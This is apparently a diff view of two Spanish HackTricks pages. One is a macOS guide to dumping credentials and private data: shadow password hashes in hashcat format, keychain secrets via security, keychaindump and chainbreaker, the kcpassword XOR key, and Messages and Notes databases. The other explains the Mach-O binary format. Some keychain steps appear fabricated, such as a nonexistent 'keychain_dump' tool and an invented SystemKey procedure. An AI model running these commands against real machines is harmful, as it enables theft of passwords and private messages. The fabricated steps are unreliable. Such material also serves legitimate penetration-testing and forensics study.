* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Contraseñas
|
||||
|
||||
### Contraseñas Shadow
|
||||
|
||||
La contraseña Shadow se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
El siguiente comando se puede utilizar para volcar **toda la información sobre los usuarios** (incluida la información de hash):
|
||||
```
|
||||
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
|
||||
```
|
||||
[**Scripts como este**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al formato de **hashcat**.
|
||||
|
||||
Una alternativa en una sola línea que volcará las credenciales de todas las cuentas no de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
```
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
### Volcado de llavero
|
||||
|
||||
Tenga en cuenta que al utilizar el binario de seguridad para **volcar las contraseñas descifradas**, se le pedirá al usuario que permita esta operación en varias ocasiones.
|
||||
```
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
security list-keychains #List keychain dbs
|
||||
security list-smartcards #List smartcards
|
||||
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
|
||||
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
|
||||
```
|
||||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
El atacante aún necesita obtener acceso al sistema y escalar a privilegios de **root** para ejecutar **keychaindump**. Este enfoque viene con sus propias condiciones. Como se mencionó anteriormente, **al iniciar sesión, su llavero se desbloquea por defecto** y permanece desbloqueado mientras usa su sistema. Esto es por conveniencia para que el usuario no tenga que ingresar su contraseña cada vez que una aplicación desea acceder al llavero. Si el usuario ha cambiado esta configuración y ha elegido bloquear el llavero después de cada uso, keychaindump ya no funcionará; depende de un llavero desbloqueado para funcionar.
|
||||
|
||||
Es importante entender cómo Keychaindump extrae contraseñas de la memoria. El proceso más importante en esta transacción es el "**securityd**" **proceso**. Apple se refiere a este proceso como un **daemon de contexto de seguridad para operaciones de autorización y criptográficas**. Las bibliotecas de desarrolladores de Apple no dicen mucho al respecto; sin embargo, nos dicen que securityd maneja el acceso al llavero. En su investigación, Juuso se refiere a la **clave necesaria para descifrar el llavero como "La Clave Maestra"**. Se deben tomar una serie de pasos para adquirir esta clave, ya que se deriva de la contraseña de inicio de sesión de OS X del usuario. Si desea leer el archivo del llavero, debe tener esta clave maestra. Los siguientes pasos se pueden realizar para adquirirla. **Realice un escaneo del heap de securityd (keychaindump lo hace con el comando vmmap)**. Las posibles claves maestras se almacenan en un área marcada como MALLOC\_TINY. Puede ver las ubicaciones de estos heaps usted mismo con el siguiente comando:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
**Keychaindump** buscará en los montones de memoria devueltos las ocurrencias de 0x0000000000000018. Si el siguiente valor de 8 bytes apunta al montón actual, hemos encontrado una posible clave maestra. A partir de aquí, todavía es necesario realizar un poco de desofuscación que se puede ver en el código fuente, pero como analista, la parte más importante a tener en cuenta es que los datos necesarios para descifrar esta información se almacenan en la memoria del proceso de securityd. Aquí hay un ejemplo de la salida de keychain dump.
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Basado en este comentario [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), parece que estas herramientas ya no funcionan en Big Sur.
|
||||
{% endhint %}
|
||||
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) se puede utilizar para extraer los siguientes tipos de información de un llavero OSX de manera forense:
|
||||
|
||||
* Contraseña de llavero con hash, adecuada para descifrar con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/)
|
||||
* Contraseñas de Internet
|
||||
* Contraseñas genéricas
|
||||
* Claves privadas
|
||||
* Claves públicas
|
||||
* Certificados X509
|
||||
* Notas seguras
|
||||
* Contraseñas de Appleshare
|
||||
|
||||
Dado la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano.
|
||||
|
||||
Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la información disponible.
|
||||
|
||||
### **Volcar claves de llavero**
|
||||
```bash
|
||||
#Dump all keys of the keychain (without the passwords)
|
||||
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
|
||||
```
|
||||
### **Volcar claves del llavero (con contraseñas) con SystemKey**
|
||||
|
||||
SystemKey es una herramienta que permite a los atacantes obtener contraseñas almacenadas en el llavero de macOS. Para utilizar esta técnica, primero se debe obtener acceso de root en el sistema objetivo. Luego, se debe ejecutar el siguiente comando en la terminal:
|
||||
|
||||
```
|
||||
/System/Library/Extensions/System.kext/PlugIns/ACPI_SMC_PlatformPlugin.kext/Contents/Resources/
|
||||
```
|
||||
|
||||
Una vez en la carpeta de recursos, se debe ejecutar el siguiente comando para volcar las claves del llavero:
|
||||
|
||||
```
|
||||
./keychaindump
|
||||
```
|
||||
|
||||
Este comando generará un archivo llamado `keychain.txt` que contendrá todas las claves del llavero, incluyendo las contraseñas. Es importante tener en cuenta que este archivo se guardará en la carpeta actual, por lo que se debe tener cuidado al ejecutar este comando en un sistema comprometido.
|
||||
```bash
|
||||
# First, get the keychain decryption key
|
||||
# To get this decryption key you need to be root and SIP must be disabled
|
||||
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
|
||||
## Use the previous key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
### **Volcado de claves del llavero (con contraseñas) rompiendo el hash**
|
||||
|
||||
Este método implica la extracción de las claves del llavero de un usuario y su posterior descifrado. Para ello, se necesita acceso a la cuenta de usuario y a la contraseña de administrador.
|
||||
|
||||
1. Primero, se debe extraer el archivo de la base de datos del llavero del usuario. Este archivo se encuentra en `/Users/<username>/Library/Keychains/login.keychain-db`.
|
||||
|
||||
2. A continuación, se debe extraer la clave maestra del llavero. Para ello, se puede utilizar la herramienta `security` de macOS con el siguiente comando:
|
||||
|
||||
```
|
||||
security find-generic-password -ga "login" | grep "password:"
|
||||
```
|
||||
|
||||
Este comando mostrará la contraseña de administrador en texto claro.
|
||||
|
||||
3. Una vez obtenida la clave maestra, se puede utilizar la herramienta `keychain_dump` para extraer las claves del llavero en formato XML.
|
||||
|
||||
```
|
||||
keychain_dump -d -k <master_key> -o <output_file> <keychain_file>
|
||||
```
|
||||
|
||||
4. Por último, se puede utilizar la herramienta `keychain2john` para convertir el archivo XML en un formato que pueda ser utilizado por la herramienta `john the ripper`.
|
||||
|
||||
```
|
||||
keychain2john <output_file> > <hash_file>
|
||||
```
|
||||
|
||||
El archivo de hash resultante puede ser utilizado para romper la contraseña utilizando `john the ripper`.
|
||||
```bash
|
||||
# Get the keychain hash
|
||||
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
|
||||
# Crack it with hashcat
|
||||
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
||||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
### **Volcado de claves del llavero (con contraseñas) con volcado de memoria**
|
||||
|
||||
[Siga estos pasos](..#volcado-de-memoria-con-osxpmem) para realizar un **volcado de memoria**.
|
||||
```bash
|
||||
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
|
||||
# Unformtunately volafox isn't working with the latest versions of MacOS
|
||||
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
||||
|
||||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
### **Volcar claves del llavero (con contraseñas) usando la contraseña del usuario**
|
||||
|
||||
Si conoces la contraseña del usuario, puedes usarla para **volcar y descifrar los llaveros que pertenecen al usuario**.
|
||||
```bash
|
||||
#Prompt to ask for the password
|
||||
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
|
||||
```
|
||||
### kcpassword
|
||||
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **habilitado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le solicite una contraseña (lo que no es muy seguro).
|
||||
|
||||
La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.\
|
||||
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
|
||||
## Información interesante en bases de datos
|
||||
|
||||
### Mensajes
|
||||
```bash
|
||||
sqlite3 $HOME/Library/Messages/chat.db .tables
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
|
||||
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
||||
```
|
||||
### Notificaciones
|
||||
|
||||
Puedes encontrar los datos de Notificaciones en `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
La mayoría de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** en algo **legible** para humanos o usar **`strings`**. Para acceder a ello, puedes hacer lo siguiente:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Notas
|
||||
|
||||
Las notas de los usuarios se pueden encontrar en `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
```bash
|
||||
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
|
||||
|
||||
#To dump it in a readable format:
|
||||
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,292 @@
|
|||
# Binarios universales y formato Mach-O
|
||||
|
||||
## Información básica
|
||||
|
||||
Los binarios de Mac OS generalmente se compilan como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**.
|
||||
|
||||
Estos binarios siguen la estructura **Mach-O** que básicamente está compuesta por:
|
||||
|
||||
* Encabezado
|
||||
* Comandos de carga
|
||||
* Datos
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Encabezado Fat
|
||||
|
||||
Busca el archivo con: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
|
||||
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
|
||||
</strong>
|
||||
struct fat_header {
|
||||
<strong> uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
|
||||
</strong><strong> uint32_t nfat_arch; /* number of structs that follow */
|
||||
</strong>};
|
||||
|
||||
struct fat_arch {
|
||||
cpu_type_t cputype; /* cpu specifier (int) */
|
||||
cpu_subtype_t cpusubtype; /* machine specifier (int) */
|
||||
uint32_t offset; /* file offset to this object file */
|
||||
uint32_t size; /* size of this object file */
|
||||
uint32_t align; /* alignment as a power of 2 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
El encabezado tiene los bytes **magic** seguidos del **número** de **arquitecturas** que el archivo **contiene** (`nfat_arch`) y cada arquitectura tendrá una estructura `fat_arch`.
|
||||
|
||||
Compruébalo con:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
|
||||
/bin/ls (for architecture x86_64): Mach-O 64-bit executable x86_64
|
||||
/bin/ls (for architecture arm64e): Mach-O 64-bit executable arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat headers
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>architecture x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
capabilities 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> size 72896
|
||||
</strong> align 2^14 (16384)
|
||||
<strong>architecture arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
<strong> offset 98304
|
||||
</strong><strong> size 88816
|
||||
</strong> align 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
o usando la herramienta [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como puedes pensar, generalmente un binario universal compilado para 2 arquitecturas **duplica el tamaño** de uno compilado para solo 1 arquitectura.
|
||||
|
||||
## Encabezado Mach-O
|
||||
|
||||
El encabezado contiene información básica sobre el archivo, como bytes mágicos para identificarlo como un archivo Mach-O e información sobre la arquitectura objetivo. Puedes encontrarlo en: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
struct mach_header {
|
||||
uint32_t magic; /* mach magic number identifier */
|
||||
cpu_type_t cputype; /* cpu specifier (e.g. I386) */
|
||||
cpu_subtype_t cpusubtype; /* machine specifier */
|
||||
uint32_t filetype; /* type of file (usage and alignment for the file) */
|
||||
uint32_t ncmds; /* number of load commands */
|
||||
uint32_t sizeofcmds; /* the size of all the load commands */
|
||||
uint32_t flags; /* flags */
|
||||
};
|
||||
|
||||
#define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */
|
||||
#define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */
|
||||
struct mach_header_64 {
|
||||
uint32_t magic; /* mach magic number identifier */
|
||||
int32_t cputype; /* cpu specifier */
|
||||
int32_t cpusubtype; /* machine specifier */
|
||||
uint32_t filetype; /* type of file */
|
||||
uint32_t ncmds; /* number of load commands */
|
||||
uint32_t sizeofcmds; /* the size of all the load commands */
|
||||
uint32_t flags; /* flags */
|
||||
uint32_t reserved; /* reserved */
|
||||
};
|
||||
```
|
||||
**Tipos de archivo**:
|
||||
|
||||
* MH\_EXECUTE (0x2): Ejecutable Mach-O estándar.
|
||||
* MH\_DYLIB (0x6): Una biblioteca dinámica Mach-O (es decir, .dylib).
|
||||
* MH\_BUNDLE (0x8): Un paquete Mach-O (es decir, .bundle).
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
otool -arch arm64e -hv /bin/ls
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE
|
||||
```
|
||||
O utilizando [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Comandos de carga Mach-O**
|
||||
|
||||
Esto especifica la **disposición del archivo en memoria**. Contiene la **ubicación de la tabla de símbolos**, el contexto del hilo principal al comienzo de la ejecución y qué **bibliotecas compartidas** son necesarias.\
|
||||
Los comandos básicamente instruyen al cargador dinámico **(dyld) cómo cargar el binario en memoria.**
|
||||
|
||||
Los comandos de carga comienzan todos con una estructura **load\_command**, definida en el **`loader.h`** mencionado anteriormente:
|
||||
```objectivec
|
||||
struct load_command {
|
||||
uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
Hay alrededor de **50 tipos diferentes de comandos de carga** que el sistema maneja de manera diferente. Los más comunes son: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` y `LC_CODE_SIGNATURE`.
|
||||
|
||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
Básicamente, este tipo de comando de carga define **cómo cargar las secciones** que se almacenan en DATA cuando se ejecuta el binario.
|
||||
{% endhint %}
|
||||
|
||||
Estos comandos **definen segmentos** que se **mapean** en el **espacio de memoria virtual** de un proceso cuando se ejecuta.
|
||||
|
||||
Existen **diferentes tipos** de segmentos, como el segmento **\_\_TEXT**, que contiene el código ejecutable de un programa, y el segmento **\_\_DATA**, que contiene datos utilizados por el proceso. Estos **segmentos se encuentran en la sección de datos** del archivo Mach-O.
|
||||
|
||||
**Cada segmento** se puede dividir aún más en múltiples **secciones**. La **estructura del comando de carga** contiene **información** sobre **estas secciones** dentro del segmento correspondiente.
|
||||
|
||||
En el encabezado primero se encuentra el **encabezado del segmento**:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* para arquitecturas de 64 bits */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* incluye el tamaño de las estructuras section_64 */
|
||||
char segname[16]; /* nombre del segmento */
|
||||
uint64_t vmaddr; /* dirección de memoria de este segmento */
|
||||
uint64_t vmsize; /* tamaño de memoria de este segmento */
|
||||
uint64_t fileoff; /* desplazamiento del archivo de este segmento */
|
||||
uint64_t filesize; /* cantidad a mapear desde el archivo */
|
||||
int32_t maxprot; /* protección VM máxima */
|
||||
int32_t initprot; /* protección VM inicial */
|
||||
<strong> uint32_t nsects; /* número de secciones en el segmento */
|
||||
</strong> uint32_t flags; /* banderas */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
Ejemplo de encabezado de segmento:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Este encabezado define el **número de secciones cuyos encabezados aparecen después** de él:
|
||||
```c
|
||||
struct section_64 { /* for 64-bit architectures */
|
||||
char sectname[16]; /* name of this section */
|
||||
char segname[16]; /* segment this section goes in */
|
||||
uint64_t addr; /* memory address of this section */
|
||||
uint64_t size; /* size in bytes of this section */
|
||||
uint32_t offset; /* file offset of this section */
|
||||
uint32_t align; /* section alignment (power of 2) */
|
||||
uint32_t reloff; /* file offset of relocation entries */
|
||||
uint32_t nreloc; /* number of relocation entries */
|
||||
uint32_t flags; /* flags (section type and attributes)*/
|
||||
uint32_t reserved1; /* reserved (for offset or index) */
|
||||
uint32_t reserved2; /* reserved (for count or sizeof) */
|
||||
uint32_t reserved3; /* reserved */
|
||||
};
|
||||
```
|
||||
Ejemplo de **encabezado de sección**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si **agregas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
También es posible obtener **información de encabezados** desde la **línea de comandos** con:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
Segmentos comunes cargados por este comando:
|
||||
|
||||
* **`__PAGEZERO`:** Instruye al kernel a **mapear** la **dirección cero** para que **no se pueda leer, escribir o ejecutar**. Las variables maxprot y minprot en la estructura se establecen en cero para indicar que no hay **derechos de lectura-escritura-ejecución en esta página**.
|
||||
* Esta asignación es importante para **mitigar vulnerabilidades de referencia de puntero nulo**.
|
||||
* **`__TEXT`**: Contiene **código ejecutable** y **datos** que son **solo de lectura**. Secciones comunes de este segmento:
|
||||
* `__text`: Código binario compilado
|
||||
* `__const`: Datos constantes
|
||||
* `__cstring`: Constantes de cadena
|
||||
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
|
||||
* **`__DATA`**: Contiene datos que son **escribibles**.
|
||||
* `__data`: Variables globales (que han sido inicializadas)
|
||||
* `__bss`: Variables estáticas (que no han sido inicializadas)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Información utilizada por el tiempo de ejecución de Objective-C
|
||||
* **`__LINKEDIT`**: Contiene información para el enlazador (dyld) como, "símbolo, cadena y entradas de tabla de reubicación".
|
||||
* **`__OBJC`**: Contiene información utilizada por el tiempo de ejecución de Objective-C. Aunque esta información también se puede encontrar en el segmento \_\_DATA, dentro de varias secciones \_\_objc\_\*.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Contiene el punto de entrada en el atributo **entryoff**. En el momento de la carga, **dyld** simplemente **agrega** este valor a la **base del binario en memoria**, luego **salta** a esta instrucción para comenzar la ejecución del código binario.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Contiene información sobre la **firma de código del archivo Macho-O**. Solo contiene un **desplazamiento** que **apunta** al **bloque de firma**. Esto suele estar al final del archivo.
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre está establecido en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo kernel.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Este comando de carga describe una **dependencia de biblioteca dinámica** que **instruye** al **cargador** (dyld) a **cargar y enlazar dicha biblioteca**. Hay un comando de carga LC\_LOAD\_DYLIB **para cada biblioteca** que requiere el binario Mach-O.
|
||||
|
||||
* Este comando de carga es una estructura de tipo **`dylib_command`** (que contiene una estructura dylib, describiendo la biblioteca dinámica dependiente real):
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
uint32_t cmdsize; /* includes pathname string */
|
||||
struct dylib dylib; /* the library identification */
|
||||
};
|
||||
|
||||
struct dylib {
|
||||
union lc_str name; /* library's path name */
|
||||
uint32_t timestamp; /* library's build time stamp */
|
||||
uint32_t current_version; /* library's current version number */
|
||||
uint32_t compatibility_version; /* library's compatibility vers number*/
|
||||
};
|
||||
```
|
||||
También puedes obtener esta información desde la línea de comandos con:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
/usr/lib/libutil.dylib (compatibility version 1.0.0, current version 1.0.0)
|
||||
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
|
||||
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
|
||||
```
|
||||
Algunas bibliotecas potencialmente relacionadas con malware son:
|
||||
|
||||
* **DiskArbitration**: Monitoreo de unidades USB
|
||||
* **AVFoundation:** Captura de audio y video
|
||||
* **CoreWLAN**: Escaneos de wifi.
|
||||
|
||||
{% hint style="info" %}
|
||||
Un binario Mach-O puede contener uno o **más** **constructores**, que se **ejecutarán** **antes** de la dirección especificada en **LC\_MAIN**.\
|
||||
Los desplazamientos de cualquier constructor se encuentran en la sección **\_\_mod\_init\_func** del segmento **\_\_DATA\_CONST**.
|
||||
{% endhint %}
|
||||
|
||||
## **Datos Mach-O**
|
||||
|
||||
El corazón del archivo es la región final, los datos, que consiste en varios segmentos como se establece en la región de comandos de carga. **Cada segmento puede contener varias secciones de datos**. Cada una de estas secciones **contiene código o datos** de un tipo particular.
|
||||
|
||||
{% hint style="success" %}
|
||||
Los datos son básicamente la parte que contiene toda la información cargada por los comandos de carga LC\_SEGMENTS\_64
|
||||
{% endhint %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
Esto incluye:
|
||||
|
||||
* **Tabla de funciones:** Que contiene información sobre las funciones del programa.
|
||||
* **Tabla de símbolos**: Que contiene información sobre las funciones externas utilizadas por el binario.
|
||||
* También podría contener nombres de funciones internas, variables y más.
|
||||
|
||||
Para verificarlo, se puede utilizar la herramienta [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O desde la línea de comandos:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
